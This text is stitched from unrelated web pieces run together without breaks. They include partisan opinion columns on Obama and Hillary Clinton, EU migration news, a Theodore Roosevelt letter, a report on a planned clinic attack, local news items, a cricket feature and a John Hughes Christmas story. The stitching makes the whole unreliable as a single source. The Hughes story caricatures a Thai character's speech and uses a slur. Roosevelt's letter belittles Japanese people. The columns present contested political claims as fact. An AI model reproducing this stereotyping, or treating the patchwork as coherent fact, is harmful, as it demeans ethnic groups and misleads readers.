But Stanley Kurtz suggests a more sophisticated explanation. Stanley suspects, based on his experience with Team Obama’s responses to potentially embarrassing stories he has uncovered, that it is Obama’s policy not to have staff ask him about his past.
This policy enables Obama to avoid confirming embarrassing stories without having to lie. Staff can then deny, or at least not confirm, the story. If the story turns out to be true, Obama can blame his staff. Staff, while taking an obvious hit, can blame sloppy research and thus defend against accusations of lying.
Under either explanation — pathological lying or willful failure to learn the truth — we’re at a sad place. An administration that can’t be trusted accurately to provide basic biographical information about the president is an administration that can’t be trusted to provide accurate information about anything.
What we have in Barack Obama is not “the most transparent administration in history” but the most convoluted one. And we have this convoluted presidency not because Obama is our first dishonest chief executive but because he’s the first who had to conceal from the American people the essence of who he really is and what he really stands for.The European Union (EU) looks set to ditch the Dublin Regulation, the rule requiring the first member state a migrant enters to be responsible for any asylum claim. The revolutionary reform of EU migration policy will shift the burden of the ongoing migrant crisis from southern states to the wealthier northern ones like Britain.
Central to the EU’s asylum system, the ‘first-country’ requirement collapsed into chaos last year when Germany’s Chancellor Angela Merkel unilaterally waived her country’s right to send Syrian migrants back to other EU member states. This, and later attempts to contain her policy, triggered scenes of anarchy at borders across the continent.
The Financial Times describes the requirement as “politically toxic for EU leaders” as countries such as Greece and Italy came under attack from northern countries for failing to process the 1.1 million migrants that came to Europe from the Middle East and North Africa. The overwhelming majority of the recent migrant influx arrived in southern Europe but headed north to wealthier countries with more generous benefits systems.
Britain and other northern European states benefit from the current arrangement as they can transfer asylum-seekers back to other EU states, although in 2013 only 16,000 intra-European transfers out of 76,000 requested were actually completed. The UK does enjoy a wider opt-out on EU migration policy, but has specifically opted into the Dublin Regulation to take advantage of the transfer rules.
As a result the European Commission has concluded the Dublin Regulation is both “outdated” and “unfair” and will propose its abolition in March. In doing so countries like Britain will be forced to accept many more migrants, since it would become harder to send them back to neighbouring countries for processing as refugees.
The free-for-all the move could prompt would also increase pressure on reluctant member states to meet one of Brussels other policy aims, that of introducing a common asylum policy, uniform procedures, and a formal quota system based on criteria such as GDP and population size to spread the migrant burden throughout the EU.
Stepping up the pressure to accept reform of the Dublin Regulation, European Council president Donald Tusk yesterday warned that the EU had “no more than two months to get things under control” or face “grave consequences”.Select Search World Factbook Roget's Int'l Thesaurus Bartlett's Quotations Respectfully Quoted Fowler's King's English Strunk's Style Mencken's Language Cambridge History The King James Bible Oxford Shakespeare Gray's Anatomy Farmer's Cookbook Post's Etiquette Brewer's Phrase & Fable Bulfinch's Mythology Frazer's Golden Bough All Verse Anthologies Dickinson, E. Eliot, T.S. Frost, R. Hopkins, G.M. Keats, J. Lawrence, D.H. Masters, E.L. Sandburg, C. Sassoon, S. Whitman, W. Wordsworth, W. Yeats, W.B. All Nonfiction Harvard Classics American Essays Einstein's Relativity Grant, U.S. Roosevelt, T. Wells's History Presidential Inaugurals All Fiction Shelf of Fiction Ghost Stories Short Stories Shaw, G.B. Stein, G. Stevenson, R.L. Wells, H.G. Nonfiction > Theodore Roosevelt > Theodore Roosevelt’s Letters to His Children PREVIOUS NEXT CONTENTS BIBLIOGRAPHIC RECORD Theodore Roosevelt (18581919). Theodore Roosevelts Letters to His Children. 1919.
59. O N C OUNTING D AYS AND W RESTLING White House, Feb. 24, 1905.
D ARLING K ERMIT:
I puzzled a good deal over your marks. I am inclined to think that one explanation is that you have thought so much of home as to prevent your really putting your whole strength into your studies. It is most natural that you should count the days before coming home, and write as you do that it will only be 33 days, only 26 days, only 19 days, etc., but at the same time it seems to me that perhaps this means that you do not really put all your heart and all your head effort into your work; and that if you are able to, it would be far better to think just as little as possible about coming home and resolutely set yourself to putting your best thought into your work. It is an illustration of the old adage about putting your hand to the plow and then looking back. In after life, of course, it is always possible that at some time you may have to go away for a year or two from home to do some piece of work. If during that whole time you only thought day after day of how soon you would get home I think you would find it difficult to do your best work; and maybe this feeling may be partly responsible for the trouble with the lessons at school. 1 Wednesday, Washington's Birthday, I went to Philadelphia and made a speech at the University of Pennsylvania, took lunch with the Philadelphia City Troop and came home the same afternoon with less fatigue than most of my trips cost me; for I was able to dodge the awful evening banquet and the night on the train which taken together drive me nearly melancholy mad. Since Sunday we have not been able to ride. I still box with Grant, who has now become the champion middleweight wrestler of the United States. Yesterday afternoon we had Professor Yamashita up here to wrestle with Grant. It was very interesting, but of course jiu jitsu and our wrestling are so far apart that it is difficult to make any comparison between them. Wrestling is simply a sport with rules almost as conventional as those of tennis, while jiu jitsu is really meant for practice in killing or disabling our adversary. In consequence, Grant did not know what to do except to put Yamashita on his back, and Yamashita was perfectly content to be on his back. Inside of a minute Yamashita had choked Grant, and inside of two minutes more he got an elbow hold on him that would have enabled him to break his arm; so that there is no question but that he could have put Grant out. So far this made it evident that the jiu jitsu man could handle the ordinary wrestler. But Grant, in the actual wrestling and throwing was about as good as the Japanese, and he was so much stronger that he evidently hurt and wore out the Japanese. With a little practice in the art I am sure that one of our big wrestlers or boxers, simply because of his greatly superior strength, would be able to kill any of those Japanese, who though very good men for their inches and pounds are altogether too small to hold their own against big, powerful, quick men who are as well trained. 2 CONTENTS BIBLIOGRAPHIC RECORD PREVIOUS NEXT
Shakespeare · Bible · Strunk · Anatomy · Nonfiction · Quotations · Reference · Fiction · Poetry © 19932015 Bartleby.com · [Top 150] · Subjects · Titles · Authors · World Lit.A man who drove to Madison, Wisconsin to kill an abortion doctor faces federal charges for intending to attack a Planned Parenthood office in Madison, Wisconsin and murder abortion providers.
A man who drove to Madison, Wisconsin to kill an abortion doctor faces federal charges for intending to attack a Planned Parenthood office in Madison, Wisconsin and murder abortion providers. Ralph Lang, 63, was arrested Wednesday night when his gun went off in his motel room not far from the Planned Parenthood clinic that he planned to attack Thursday. According to a criminal complaint filed Thursday in U.S. District Court Lang said he had a gun “to lay out abortionists because they are killing babies.”
A copy of the formal complaint filed against Lang is available here.
From the Wisconsin State Journal:
Lang said he planned on shooting the clinic’s doctor “right in the head,” according to the complaint. Asked if he planned to shoot just the doctor or nurses, too, Lang replied he wished he “could line them up all in a row, get a machine gun, and mow them all down,” the complaint said. Get the facts, direct to your inbox. Subscribe to our daily or weekly digest. SUBSCRIBE Teri Huyck, president and CEO of Planned Parenthood of Wisconsin, said the organization’s primary concern “today and everyday” is the health and safety of its patients, staff and volunteers. “With the assistance of the Federal Bureau of Investigation and the Madison Police Department, we have taken the security precautions necessary to continue with our work,” she said. Huyck extended gratitude to the law enforcement agencies working with Planned Parenthood so it can continue to be a “safe and trusted health care provider for Wisconsin women and families.”Story highlights Photographer Tara Ruby offers to donate photos to Fort Bliss nursing room
Active duty soldiers volunteer to pose for photo breastfeeding their children
(CNN) There were no lactation rooms or dedicated spaces for breastfeeding mothers when Tara Ruby was on active duty in the Air Force from 1997 to 2001.
After her first son was born, Ruby remembers ducking into empty offices and bathrooms -- anywhere she could find privacy for 20 to 30 minutes at a time to pump.
That's why she was thrilled to learn about a new nursing room in the headquarters of Fort Bliss, the Army post in El Paso, Texas. It has comfortable chairs, a refrigerator for storing milk and a sink -- small things that make a big difference when you need to expel breast milk every few hours.
All that was missing was a touch of decor on the bare walls. To make the room more inviting, Ruby, now an El Paso photographer, offered her services to donate pictures for the room.
Her vision: Portraits of uniformed soldiers breastfeeding their children.Los Angeles, CA, January 7, 2019 — In our online world, audiences engage at a higher rate with live streamed video content and post more comments, compared to uploaded videos. With the Roland Pro AV VR-1HD AV Streaming Mixer, content creators can produce dynamic, multi-camera vlogcasts, podcasts, live streamed performances with amazing picture and sound that outperform and get better engagement than videos live streamed from just a |
| by Stefan Novakovic |
Commonly known as rooming houses, Toronto’s multi-tenant homes are designed to provide relatively affordable accommodations to thousands of residents. Working to expand and improve the program, the City of Toronto has announced a series of public meetings to review proposed regulatory changes—including stricter licensing requirements—and a re-zoning pilot project.
Defined by the City as "a house, apartment or building where you share a kitchen and/or washroom with four or more people that pay individual rent," rooming houses are only currently permitted in three of the City’s pre-amalgamation municipalities; York, Toronto, and Etobicoke.
A Kensington market rooming house once home to UrbanToronto's Stefan Novakovic, image via Google Maps
Two sets of meetings will be held. Focusing on expanded zoning, the first five meetings will assess the City’s "three-year pilot project to introduce a temporary zoning bylaw to allow multi-tenant houses in five areas of the city." Endorsed by Council last Fall, the boundary areas are:
• Highway 401, Morrish Road, Military Trail (Wards 43, 44)
• Finch Avenue West, Martin Grove Road, Humber College Boulevard (Ward 1)
• Finch Avenue West, Assiniboine Road, Black Creek Drive, Keele Street (Ward 8)
• Finch Avenue East, Leslie Street, Highway 404, Fairview Mall Drive (Ward 33)
• Steeles Avenue, Highway 404, Highway 401, Markham Road (Wards 39, 40, 41)
Held between June 6th and June 21st, the five meetings focusing on the new zoning framework will give Torontonians a chance to provide input on the scope of the proposed bylaw. Issues such as the “maximum number of rooms allowed in a multi-tenant home” and the requirements that need to be provided by operators—“such as site plan, waste management plan and parking plan”—will be discussed. As it stands, the City’s "temporary uses by-law proposes to permit a maximum of seven dwelling rooms in any one multi-tenant house."
A meeting will be held in each of the pilot areas, taking place between 6:30 and 8:30 PM at these locations:
• Tuesday, June 6, University of Toronto Scarborough Campus, Room HW305, 1265 Military Trail • Wednesday, June 7, James Cardinal McGuigan Catholic High School, Cafeteria, 1440 Finch Ave. W. • Monday, June 12, Oriole Community Centre, Multipurpose Room B, 2975 Don Mills Rd. • Tuesday, June 13, Stephen Leacock Community Recreation Centre, 2520 Birchmount Rd. • Thursday, June 15, Elmbank Community Centre, Gym, 10 Rampart Rd. • Wednesday, June 21, L'Amoreaux Community Recreation Centre, Main Floor, 2000 McNicoll Ave.
Meanwhile, another four meetings will be held in areas of the City where rooming houses are already permitted. Focusing on the City’s efforts to “regulate multi-tenant houses and improve safety and property conditions for tenants and neighbours,” these meetings will present opportunities for a more fine-grained discussion of how rooming houses should operate. Dates and locations:
• Wednesday, June 14, Jimmie Simpson Recreation Centre, Multipurpose Room, 870 Queen St. E., 6:30 to 8:30 PM • Tuesday, June 20, Lillian H. Smith Library, Auditorium, 239 College St., 6 to 8 PM • Thursday, June 22, Toronto Public Library, Parkdale Branch,1303 Queen St. W., 6 to 8 PM • Tuesday, June 27, Wellesley Community Centre, Room A, 495 Sherbourne St., 6:30 to 8:30 PM ***
An online survey is also available, linked here. More information can be found on the City of Toronto’s website. A full copy of the City’s release regarding the public meetings can also be found here.Posted November 29, 2017 at 7:10 pm
EDIT - Totally forgot to give Susan squirrel ears and a tail! That's embarassing. I will fix that at some point, but possibly not for a few days given other priorities and how tired I am, so... Yeah. Sorry about that.
Because she wants to see what all the patterns on her back are. That's the only reason she's asking. Anything else you might be assuming is wrong and you should be ashamed. ASHAMED!
Not wishing to speak for the comic while also knowing people will ask me about the technical details anyway, the "attract" effect on the actual players is relative to how they'd normally feel.
This is why Rhoda and Catalina have jaws in danger of hitting the floor and very strong blushes, and Susan just has a mild blush and is distracted enough to twirl her hair like that (which she will no doubt stop doing the instant she realizes she's doing it).A few months ago, we were contacted to discuss the endorsement of an online shop selling mobile devices pre-installed with Replicant: Qibre Computer Hardware. While we’re very happy to see such initiatives being developed, we asked for some conditions to be met before endorsing the shop, especially conditions that have to do with informing final users:
Users should not be mislead into believing that the devices are fine for freedom and privacy/security. There are plenty of issues remaining, that are explained in general on the Freedom and privacy/security issues page of the website and in greater details on each device’s wiki page (when documented). Those are out of the scope of free software support in Replicant, but it is crucial to mention them when selling a full device. Linking to these resources is a fine way to ensure that customers have access to that information.
The devices should ship with the official version of Replicant, not a version that was built from source and signed with different keys. However, it is fine to pre-install free applications originating from F-Droid on top of the system, as long as users are made aware of it.
Qibre has now stopped its activity until further notice.
A few weeks ago, Tehnoetic started selling devices pre-installed with Replicant and was featured on the FSF’s Ethical Tech Giving Guide and FSFE’s Free Your Android campaign. At this point, the following devices can be bought pre-installed with Replicant from Tehnoetic:
Tehnoetic donates a part of the phone sales profits to Replicant and F-Droid projects. In December, Tehnoetic donated Replicant $101 USD.
Thus, buying devices actually helps Replicant move forward! Buying from these shops rather than third-party resellers also helps them secure money to get stocks of Replicant-supported devices in large quantities, so that it remains possible to buy them for a long time!I’m worried about Hillary Clinton. No, I’ve not started drinking the Clinton Kool-Aid. I’m concerned about how this mysterious illness is going to affect the presidential race.
For more than a week, the media has been consumed with spin about Hillary’s fainting spell. How sick is she? What’s up with the cough? Is she contagious? Why did she lie about her health?
Do these questions move voters away from her? Probably not.
This latest episode in the Clinton saga has two possible ramifications in this presidential race.
First, it lowers Hillary’s expectations for the debate. As someone who has been on the public stage debating for decades, the former first lady, former U.S. senator and former secretary of state is expected to perform well against Trump, a novice debater. However, now that she has been under the weather, everyone is wondering if Hillary can make it through the entire debate. Her expected level of performance has been completely erased. She doesn’t have to pummel Trump to be considered the winner by the biased liberal media. All Hillary has to do is get through the hour and half without collapsing.
You’re probably thinking that couldn’t possibly happen. Really? We’re talking about Hillary, who won the New Hampshire primary eight years ago by crying. Furthermore, as Massachusetts residents we have seen this lower expectation performance be accepted by the voters. In his twilight, Ted Kennedy was not lighting the world on fire. Voters were impressed when he could form a full sentence.
The national media would never let that happen! Right? There’s a reason they call CNN the Clinton News Network. This brings me to the second ramification of her illness. That video finally exposed the media for being only Clinton cheerleaders.
Before the video, according to the mainstream media, you were a right-wing extremist for suggesting she was ill. After the visual of the video, the media has no credibility. If there was a poll on whether or not the public believed the news media, it would be at an all-time low.
What’s the end result? While the media will desperately protect her on all fronts for the rest of the campaign, no voter is going to accept their spin. We were told that her illness was like looking for Bigfoot. Well, it turns out this Sasquatch is real.
So maybe voters will now realize that Benghazi, travelgate, jeopardizing national security via her emails and all the other scandals are true — every single nasty detail.Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
The mystery surrounding a giant black smoke ring over Warwick appears to have been solved.
As previously reported, the strange phenomenon was captured on film by 16-year-old Georgina Heap on Friday night.
It hung in the air for several minutes, before evaporating into nothing.
Theories have included a swarm of insects to a home-made smoke signal, but now it seems it was the result of a new pyrotechnic show being tested at nearby Warwick Castle.
A castle spokesman said: “As part of our 1,100th anniversary celebrations this year, we’ve been testing a number of fire effects to enhance our daily Trebuchet Fireball Spectacular show – the world’s largest firing catapult.
“We’ve seen a number of different effects including the vortex images that have been reported.”Ashes series aside, cricket contests against Trans-Tasman rivals New Zealand are an Australian fans' favourite.
We share a rich history with plenty of highs and lows and in honour of the Anzac spirit this weekend, cricket.com.au and the BLACKCAPS have looked back at our favourite moments. Each side of the divide has selected our five favourite moments that help define this long and storied rivalry.
Quick Single: Combined Australia-New Zealand ODI XI
We’ve agreed to leave out a certain dubious delivery in 1981 that we're sure you all remember, although it’s certainly played its part in fuelling the rivalry.
Take a look and let us know what would make your list on Twitter and Facebook.
Australia's top moments
Chappell brothers' twin centuries, Wellington 1974
Their dominance was absolute, the brothers each scoring a century in each innings. Between them, Ian and Greg Chappell scored 646 runs.
Greg's unbeaten 247 in the first innings was complemented by Ian's 145. In the second innings, Greg scored 133 while Ian added 121.
None of the New Zealander bowlers could trouble them, Widen's report from the match describing Greg's innings as "elegant, imperious" and he "looked capable of thrashing a Lindwall or a Larwood".
It wasn't the first or the last time the Chappells tormented New Zealand but it was the most dominant.
Michael Bevan 102*, Melbourne 2002
When your side is in strife chasing a big total, you call Michael Bevan. New Zealand and South Africa had it all over Australia in the 2001-02 tri-series, and the BlackCaps by all rights should have knocked Australia out of the finals at the MCG after posting 8-245 on a slow deck.
Before his back crippled him, Shane Bond was crippling Australia, removing Ricky Ponting and Adam Gilchrist quickly and leaving the hosts in dire straits at 6-82 after 21.3 overs.
Bevan answered the call like he had so many times before. He teamed up with Shane Warne and Brett Lee, steering Australia to victory with surgeon like precision, scoring his sixth and final ODI hundred for his country
That Brendon McCullum and Daniel Vettori dropped catches that would have halted Australia's charge made a memorable night all the sweeter.
First Twenty20 international, Auckland 2005
If we only knew what we were unleashing on the world. The first ever Twenty20 international was a hit-and-giggle affair, coloured kits, moustaches and headbands harking back to the 1980s.
Facial hair couldn't do for Craig McMillan and Hamish Marshall what it did for Mitchell Johnson though, and Ricky Ponting was soon flaying the Kiwi attack to all corners of Eden Park and beyond.
A 55-ball unbeaten 98 took Australia to 5-214 from their 20 overs. Daryl Tuffey was brutalised with 30 runs leaking in the 19th over: 6-2-6-6-4-6. On 97 with four balls to go, two leg byes and a single followed for Ponting, who watched from the non-strikers end as Hussey hit the next ball for six to rob him of the chance of a century.
It was a parade of beige to and from the wicket in New Zealand's innings, Michael Kasprowicz collecting 4-29, while Glenn McGrath's joke pretend underarming was met with good humour.
Despite his success, Ponting was underwhelmed: "I think it is difficult to play seriously," he said after Australia's victory, but added: "If it does become an international game then I'm sure the novelty won't be there all the time."
McMillan st Gilchrist b McGrath, Wellington 2005
Not a great match, although Australia did win by 10 runs, not an innings filled with particularly memorable strokes, but a very strange dismissal that still baffles to this day.
Looking to advance down the pitch and hit the quicks – to mixed results, mind you – Adam Gilchrist had finally seen enough. He donned a helmet and stood up to Glenn McGrath's bowling.
Australia's No.1 quick wasn't happy to see it, as no fast bowler is happy to see a wicketkeeper standing up, and there's no way McMillan could have missed the ploy. But the very next ball, McMillan danced down the track again, flayed wildly, missed and was stumped with the greatest of ease by Gilchrist. It still has to rank as one of the funniest Kiwi dismissals going.
Southern Stars domination of White Ferns
It's not just about the men, the Commonwealth Bank Southern Stars have enjoyed an intense rivalry with their New Zealand counterparts too. And enjoyed success against them.
The Stars won the 2010 Cricket World Cup by five wickets with 14 balls to spare in front of a monster crowd at India's Eden Gardens. Belinda Clark's half-century steered our girls home. The bowlers had set-up the victory, two wickets apiece to Bronwyn Calver, Karen Rolton and Charmaine Mason restricting the White Ferns to 164 from 19.3 overs.
Australian dominance was extended in the 2010 Women's World T20 final but it took the intervention of Ellyse Perry's boot to secure a thrilling three-run win that broke New Zealand hearts.
Australia had been restricted to just 8-106 after winning the toss and batting and needed quick wickets to keep the Kiwis down. Perry to the rescue, with two in two overs to have NZ at 4-29. The White Ferns found scoring tough under Australia's suffocating pressure but even so entered the final over needing 14 to win. That equation became five off the final ball – a boundary would force a super over. It was struck firmly back down the wicket and only the intervention of Perry's right foot – she is a talented footballer after all – deflected the ball safely to mid-on.
New Zealand's top moments
McCullum’s 116*, Christchurch, 2010
Christchurch was treated to the spectacular in February 2010 when Brendon McCullum became the second player to score a Twenty20 International century. The fact that it came against Australia just made it extra special.
McCullum terrorized the Aussie bowlers with eight sixes and 12 fours en route to an unbeaten 116 off just 56 balls. The BLACKCAPS went on to win the match in an enthralling super-over.
The inclusion of Twenty20 on this list is sure to ruffle a few feathers amongst the traditionalists out there, but watching McCullum scoop Shaun Tait for six at over 150kph is a little bit magical.
Whitewash of Chappell-Hadlee Series 3-0, 2007
The Chappell-Hadlee ODI series was a fan favourite, with New Zealanders loving the opportunity to try upset an Australian team which was dominating world cricket. They came in 2007 without Ricky Ponting or Adam Gilchrist, but were still expected to be too much for the BLACKCAPS.
The first match of the series in Wellington quickly dismissed that notion.
Led by Shane Bond, Stephen Fleming and Lou Vincent, the home side dished out a 10 wicket thumping, handing Australia their heaviest ever ODI defeat. The series was wrapped up next match with a Ross Taylor century helping the BLACKCAPS chase down an imposing 336.
The pièce de résistance came in the third and final match though, with the BLACKCAPS claiming the second highest successful run-chase in ODI history when they overcame Australia’s 346. Craig McMillan smashed 117 off 96 balls, contributing five sixes to a whopping 26 maximums struck in the match.
The Chappell-Hadlee series is sadly no longer the regular fixture it was, but that 3-0 drumming will always be cherished.
Hobart Test victory, 2011
Being still reasonably fresh in the memory, one can’t help but feel a warm-glow while reminiscing of the Hobart Test.
Following a heavy defeat in the first match and a fair bit of not-so-uncharacteristic sledging from some of the Aussie players, New Zealand came back to win the second test – their first on Australian soil in 26 years.
A green seaming pitch made it a low scoring game and heading into the final innings Australia required 241 for victory.
Introducing Doug Bracewell.
The then 21-year-old bowled himself into history with an incredible spell of 6-40, including the final wicket to secure a glorious seven run win. The final overs of the match captivated the nation and players and fans rejoiced alike.
May we remember the miserable faces of the Australian players afterwards forever.There were sixteen relatives in four bedrooms...
Christmas '59
by John Hughes
All in all it was a pretty exciting Christmas, what with the relatives and the presents and the fun and the cops and Aunt Hazel's dog blowing up in our living room. Mom and my Aunt Martha wanted to have one of those fun old-fashioned Christmases that people on TV have, where everybody wears ties and sweaters and sits by the fireplace and makes Christmas-tree ornaments out of food. But as Dad said, the only reason those people have fun is they're getting paid for it.
I was just about positive I was getting skis and boots and poles for Christmas. It was the only thing I asked for, and when a kid asks for only one thing, its awfully hard for parents not to buy it, because of how disappointed the kid would be. Unless they bought him a BB gun or a horse instead, and the only way I'd get a BB gun was over my mom's dead body and we didn't have enough room in the garage for a horse. But it's too bad we didn't have a horse in the garage, because then Grandpa Pete and Grandpa Swenson would never have gotten into their big fight about who got to keep his car inside.
My sisters and I spent most of the afternoon of the day before Christmas Eve sitting in the front window watching the road for our grandparents. At about four o'clock we heard what sounded like a drag race. And, sure enough, it was a drag race, and it was between Grandpa Pete and Grandpa Swenson. It was pretty cool to watch that Rambler Ambassador and that Studebaker Regal whip around the corner and into the driveway so fast that the grandmas were screaming and holding on to the dashboards.
"God darn you, Pete!" Grandpa Swenson yelled at Grandpa Pete. "You drive like a maniac!"
"Me?" Grandpa Pete yelled back, as the two of them sat in their cars parked in front of the closed garage door.
"Judas Priest!" Mom said, running out the front door. "They leave from two different houses in two different cities, three hundred miles away, racing like idiots --- it's a miracle they got here in one piece!"
Anyway, Mom told the two grandpas to pick which side of the garage they thought the empty space was on, and they both picked the same side. So Mom made them flip a coin and Grandpa Pete lost.
"Two out of three!" he demanded. But Grandpa Swenson wasn't about to risk his parking space, especially with all the rain we were getting.
We'd had about five inches of snow the week before, but the rain had washed it all away. Instead of looking like a Christmas card, with snowy trees and icicles, our house looked like a regular house, only worse, because of how terrible the Farleys' dog's stuff looked defrosting all over the lawn. It bad taken a lot of work to keep everybody off our snow, and I even had to threaten my little sister, Amy, to keep her from screwing up the snow by making angels. Oh, well. It was just mud and brown grass now. Also, the manger scene in the front yard looked pretty stupid sitting in the rain, especially when it was thundering and lightning.
Grandpa Pete and Grandma Alice made a big fuss about having to carry their packages into the house in the rain. Grandma Alice complained about how the raindrops were staining the wrapping paper, and Grandpa Pete said, "It's typical, Mama. What did you expect?"
All Grandma and Grandpa Swenson had to do was carry their packages right into the kitchen from the garage, and they had help, too. His name was Xgung Wo, and he was this guy who went to college at Michigan State who spent a lot of time at my grandparents' house because he was from Thailand and was very lonely. Grandma Swenson invited him to come along to our fun old-fashioned family Christmas so that he wouldn't have to sit all by himself in his dormitory on a holiday and feel sad about World War II and how terrible it was to his family. Mom said she was delighted to have him, and she shook his hand and talked in her phony, "How do you do" voice.
"I'll sreep in your base-ments," Xgung Wo said, bowing to Mom.
"Don't be silly," Mom said. "You can sleep in Johnny's room."
That was bad news for me. Not only was he all grown up, but he had huge beaver teeth, glasses like my Grandpa's, and he buttoned his shirt all the way up to the top. He also had his sweater on backward and he wore red socks with sandals.
"Your grandma has tord me you are an exerrent base-a-bore pitcher," Xgung Wo said to me. "Maybe pray for Detroit Rions one day!"
Then he laughed in this hysterical, high-pitched, Woody Woodpecker voice and nodded his head and displayed his giant teeth.
"Huh? Huh? Huh?" he said, rubbing my head.
I didn't get much time to worry about Xgung Wo sleeping in my room because my cousins arrived just after my grandparents. There was my Uncle Dave and Aunt Martha and my cousins, Darby, Kate, and Dale. The only one I really liked was Aunt Martha. Uncle Dave was crabby all the time, and his idea of a joke was to yank your underpants up your crack and when you tried to get them out ask you if you were going to the show, because you were picking your seat. My cousins would whine all the time and wouldn't eat anything unless they asked a million questions about what it was, what was in it, how it was prepared, and what it tasted like.
"Isn't this just the greatest?" Aunt Martha said, putting her arms around Mom and Grandma Swenson. "The whole family together for Christmas"
"Where are Mama and me sleeping?" Grandpa Pete interrupted. "Not in any darn bunk beds!"
Mom quieted down everybody and explained the sleeping arrangements. My sisters started to cry because they wanted to be in their own room for Christmas.
"Let the girls sleep in their rooms," Aunt Martha said. "Dave and I'll sleep in the family room."
"The hell we will!" Uncle Dave said as he reached for the back of my underwear.
Just before Dad got home, Mom and Aunt Martha went into the kitchen and drew a diagram of the house and rearranged everyone, and it was just about the same except Dale and I were in the family room and Xgung Wo was in the basement. Mom seemed very happy to get that all taken care of before Dad got home, because he was in a bad mood when he had to park on the street. He also had gotten some bad news from work.
"The company really found that old Christmas spirit this year," he said to Mom in the kitchen.
"You got your bonus?"
"Yeah," he said, reaching into his pocket. "A cigarette lighter with my name on it."
"It's spelled wrong," Mom noticed.
Dad took off his coat and hat and tossed them on a chair. He opened the liquor cabinet and started taking out bottles. Xgung Wo must have heard the clink of the glass because he stuck his head around the corner and said, "Vodka martini, two orives, prease."
After a dinner of ham, which made everybody thirsty, we all went into the living room. Mom and Aunt Martha brought in big bowls of cranberries and popcorn and needles and thread.
"We're going to make fun old-fashioned Christmas-tree trimmings!" Mom announced. Nobody seemed to care very much. Grandpa Pete and Grandpa Swenson were mad at each other again, because Grandpa Swenson accused Grandpa Pete of skipping dessert just so he could get dibs on the big wing chair.
Mom and Aunt Martha really put on the pressure for us to have a good time making the decorations. But it was hard getting a needle through a cranberry, and it was hard not to eat the popcorn, even though it didn't have salt or butter on it.
"Can you put on some Christmas music, Clark?" Mom asked Dad.
He looked at her like she was nuts.
"Let's sing ourselves!" Aunt Martha suggested.
"Great!" Mom said, clapping her hands. Then she and Aunt Martha broke into "Deck the Halls."
"Deck the halls with boughs of holly!" they sang. "Come on!...Deck the halls... Everybody! Sing! Deckthe halls with..."
But nobody except Xgung Wo joined in.
"Put on a record, Clark," Mom said in a voice that was half angry, half sad.
Dad grumbled something and turned on Amy's record player, which Mom had brought downstairs. He fished through the records and put on "Jingle Bells" by the Singing Dogs and turned it up real loud.
"Everybody bark along!" Dad shouted. He and Uncle Dave started barking. Then the kids joined in. It was fun, but Aunt Martha and Mom just sat there and looked mad. Then they quietly took the bowls of popcorn and cranberries into the kitchen and made coffee.
After the song was over, Dad and Uncle Dave went into the family room. They stopped off in the kitchen to apologize to Mom and Aunt Martha and to tell them how much fun they had making old-fashioned decorations. Then Dad mixed drinks.
"Gung Ho!" he called to Xgung Wo. "What're you drinkin'?"
The pre-Christmas activities concluded with everybody crammed into the family room watching, Christmas a la Perry Como.
"He's the only, s.o.b. who has fun at Christmas," Dad said, referring to Mr. Como.
I had a ball that night. My cousins and my sisters and I waited until everybody went to bed, then we went downstairs and looked at our Christmas presents. Dale was kind of a clod about his presents, just rattling them and trying to guess the contents.
"No," I told him. "You carefully take the tape off and look inside. Then you put the tape back."
I demonstrated on a package that was on the top shelf of the downstairs hall closet.
"Holy cow!" I said. "It's a BB gun!"
I was getting a BB gun! Dale wanted to take it out right away and go outside and shoot a bird or a car, but I told him it was one thing to peek at your presents and another altogether to play with them. My little sister made a mess of one of her presents and then started crying because she knew she was going to get caught.
"I wonder where my skis are?" I said.
"Probably in the basement," Dale said.
"You can't go down there," my older sister, Audrey, said. "Zing Zoo is sleeping down there on the couch."
That made it all the more fun. The girls were too scared to go down, so Dale and I went alone. It's weird how a normal house can get very scary when there's an Oriental guy in the basement.
"Shh!" I whispered as we tiptoed down the stairs, trying not to make the old wooden steps creak.
"What if he's really a jap?" Dale said.
When we got to the bottom of the stairs, we saw the beat-up green couch and some blankets and a pillow, but no Xgung. Then we heard a noise in the utility room. I peeked in the door and saw Xgung standing on a chair reaching into the crawlspace. He was putting a bunch of Dad's tools into an old suitcase and was just stepping down off the chair when he saw us. He dropped the suitcase and jumped down off the chair.
"Herro!" he said with a big, toothy grin.
I opened the door and stepped in. Dale was behind me, practically shaking with fear.
I was worried that Xgung would tell my parents that I was down in the basement in the middle of the night and that my parents would figure out what I was up to. So I told Xgung that Dale and I were looking for a game to play with, and he said, "Ha! I'm doing exactly the same thing."
In the morning, that Christmas cheer people talk about was all over the house. People were humming Christmas songs. Even the grandpas were getting along, after discovering that they both hated the governor of Michigan. It wasn't always easy to be pleasant with the house so crowded. It seemed like every time you went to do something, someone was already doing it. Especially in the bathroom.
"All right!" Dad yelled. "Everybody get their coats! We're going for a tree!"
"Take Xgung," Grandma Swenson said. "He's never seen anyone purchase a Christmas tree before."
Xgung threw down the last of his Bloody Mary and put on his sweater backward. Dad went out the front door and just disappeared. It wasn't magic, it was ice. Somehow all that rain had turned to ice and it was bitter cold and as slippery as a hockey rink. Dad hit the porch and his legs went out from under him and he landed buttfirst.
"Goddammit all!" he yelled. Everything was covered with ice as thick as thumbnails. It took Dad, with his sore butt, and Uncle Dave, who could hardly stop laughing, and all of us kids half an hour to get the ice off the car windows. Dad was starting to get mad all over again. Especially when he caught Xgung chipping ice off the trunk with a stone.
"I married one hell of a genius," Dad said as we looked at three frozen, drooping Christmas trees. "'Let's trim the tree on Christmas Eve,' she says. 'It'll be lots of fun.'"
"I like this one, Daddy," Amy said. She pointed to one of the trees. It looked like one of those bushes Italian people have in their front yards, the kind that are just a stick with a ball on top.
"This is it, sir," the guy at the Christmas-tree lot said.
"How much?" Dad asked.
"Twelve fifty "
"Stuff it!"
We drove all around looking for better trees but didn't find any trees at all. We even tried to buy one of those fake, metal trees, but the only ones left were missing branches and looked worse than, and cost twice as much as, the crummy ones we saw before. So we went back to where we were first, but there were only two trees left and the price had gone up to twenty-five dollars.
Mom was furious with Dad for not buying a tree. The girls were crying at the prospect of a treeless Christmas. Uncle Dave was mad that we wasted most of the afternoon and ended up with nothing but a bunch of bellyaching kids.
"We can put the presents under a table, for Pete's sake!" Dad said in a feeble defense.
"We are not going to have Christmas without a tree! Everybody has trees!"
"Oh, balls they do!" Dad argued. "Gung Ho, you don't have Christmas trees over there in Hong Kong, do you?"
"I'm from Thai-rand, and yes, we have Christmas trees, but we don't have much hoopra, just appreciation of Jesus and rots of famiry rove."
